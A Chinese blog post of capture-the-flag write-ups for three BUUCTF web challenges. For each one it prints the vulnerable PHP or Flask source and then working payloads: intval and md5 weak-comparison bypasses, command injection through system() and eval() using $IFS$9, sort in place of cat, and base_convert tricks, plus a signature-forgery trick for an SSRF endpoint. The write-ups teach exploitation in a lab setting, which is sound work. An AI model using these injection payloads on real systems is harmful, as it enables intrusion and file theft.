BUUCTF web(八)

[WUSTCTF2020]朴实无华

robots.txt发现提示,抓包/fAke_f1agggg.php,发现
在这里插入图片描述
访问/fl4g.php

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

中文全是乱码。。。应该是编码方式的问题。。问题不大,不影响我做题

我们需要通过level1和level2并最终拿到flag

首先看一下level1

get一个num,要比2020小,加一还要比2021大emmm

他这里用到了intval,那就找找有没有这个函数的一些特性可以利用

度娘到这玩意处理科学计数法的时候会有一些问题

intval(1e3)是1000没有问题,但是处理intval(‘1e3’)的时候会被当成字符串返回1,而如果是intval(‘1e3’+1)又会把括号里面强行又变回数字,返回1001。

本地试一下
在这里插入图片描述
所以get传参?num=‘1e5’

第二个level,啥玩应md5之后还是自己,注意是两个等号,弱类型比较

emmmmmm找一个md5前后都是0e的?

找到了0e215962017

老规矩,本地试试

在这里插入图片描述
抬走,下一个

查找$get_flag中空格第一次出现的地方并返回剩下的部分,并且把cat替换为wctf2020然后执行命令

ls先看看有啥文件

payload:

http://a6ee1abc-7b2d-4873-a290-fdf885d59426.node4.buuoj.cn:81/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls

在这里插入图片描述
flag应该在那个好长的文件里

cat不让用,我们用tac、sort都可以,空格用$IFS$9替换(解决了bp传参的时候穿不了带空格的值的问题)

payload:

http://a6ee1abc-7b2d-4873-a290-fdf885d59426.node4.buuoj.cn:81/fl4g.php?num=1e5&md5=0e215962017&get_flag=sort$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

拿来吧你
在这里插入图片描述

[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

传参c不能超过80,并且过滤了这些字符

' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'

中括号可以使用花括号代替

并且必须使用白名单中的变量名

构造命令执行

c=($_GET[a])($_GET[b])&a=system&b=cat /flag

a、b是不能出现的因为不在白名单里,但是可以用变量覆盖来绕过,那么就变成了怎么构造_GET的问题了,hex2bin函数可以将16进制转换为字符串,但是hex2bin不在白名单里面,所有hex2bin本身也需要构造。我们可以利用base_convert函数来得到hex2bin,base_convert(37907361743,10,36)=hex2bin,要转换的源16进制我们可以用白名单中的dechex来得到。

所以构造之后为:

base_convert(37907361743,10,36)(dechex(1598506324))

把这个字符串替代_GET即可,为了让他简短一点我们用一个变量来保存这个字符串,选用比较短的pi

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{cos})&pi=system&cos=cat /flag

[De1CTF 2019]SSRF Me

整理源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

创建了一个Task类,几个函数,几个路由

geneSign路由:

获取get方法传入的param参数,并且令action = “scan”,调用了getSign函数

跟进到getSign函数,返回了(secert_key + param + action)的md5值

De1ta路由:

通过get方法传入参数param,在cookie中传入参数action和sign,其中param参数需要过waf,跟进waf函数,禁用了gopher和file协议。过waf之后再用参数创建一个task对象,并执行Exec函数

在Exec函数中,如果checkSign成功,下面有两个if。

第一个if:如果self.action中有scan,就会把传入的param参数写到resp里面进而写到result.txt里面

第二个if:如果self.action里面有read,那么就把result.txt里面的读取并存到result[‘data’]中,并且在最后还返回了result。前面提到De1ta路由中challenge函数最后执行了Exec函数并且返回了json.dumps(task.Exec())到客户端,也就是result。

注意在两个if中,判断条件用的都是‘in’而不是等号,也就是说我们传入的action中既有scan又有read的话,我们就可以先在scan部分把flag.txt存到result.txt中再在read部分中读取出来,就可以得到flag.txt,也就是说action应该是readscan或者scanread的形式。

想要达到这个目的,还要checkSign成功,跟进checkSign,条件是getSign(self.action, self.param) == self.sign,再次跟进getSign,hashlib.md5(secert_key + param + action).hexdigest(),也就是说,只需要让

md5(secert_key + param + action)等于self.sign,secret_key我们是不知道的,在getSign中action是固定的是scan,param为flag.txt。

我们想得到key+flag.txt+readscan或者key+flag.txt+scanread的md5值,但是因为key未知而无法得到。但是在geneSign中我们可以得到key+param+scan的md5值,并且param可控,所以在geneSign中我们令param为flag.txtread就可以得到key+flag.txt+scanread的md5值。
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值